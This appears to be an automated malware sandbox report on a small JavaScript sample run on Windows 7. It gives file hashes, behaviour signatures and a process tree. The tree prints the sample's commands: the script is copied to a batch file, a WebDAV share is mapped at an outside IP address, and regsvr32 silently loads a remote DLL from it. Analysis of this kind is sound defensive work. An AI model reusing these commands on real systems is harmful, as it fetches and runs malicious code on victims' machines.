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Analysis

  • max time kernel
    120s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    09/07/2024, 07:34

General

  • Target

    2707398642559127343.js

  • Size

    5KB

  • MD5

    c8c6f2cd727679d66031250fadadb58c

  • SHA1

    4ce051b3bd77b04cdd56042825bdea493b53c537

  • SHA256

    1b63022777404a40a968a35a13e1aec846789051a4e1dfa204d40b8d637f1707

  • SHA512

    ded49cf5c61c60d6ee3d1a26b6ba0b104e03fa11fc8680bc54f9f28641f3f07061a2375a0091685a1cb851b616d2ed8207581f39a3439ab0acee98481443354b

  • SSDEEP

    96:Ickum+YFbacAUVwfk0PmZBvZfDJxgb5JbJCrWrkje:Ickwfk0PAvZfDJxgb5JbJCSrkje

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2707398642559127343.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2380
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2707398642559127343.js" "C:\Users\Admin\\quiesb.bat" && "C:\Users\Admin\\quiesb.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:536
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:2868
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\965.dll
          3⤵
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          PID:2828

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\quiesb.bat

      Filesize

      5KB

      MD5

      c8c6f2cd727679d66031250fadadb58c

      SHA1

      4ce051b3bd77b04cdd56042825bdea493b53c537

      SHA256

      1b63022777404a40a968a35a13e1aec846789051a4e1dfa204d40b8d637f1707

      SHA512

      ded49cf5c61c60d6ee3d1a26b6ba0b104e03fa11fc8680bc54f9f28641f3f07061a2375a0091685a1cb851b616d2ed8207581f39a3439ab0acee98481443354b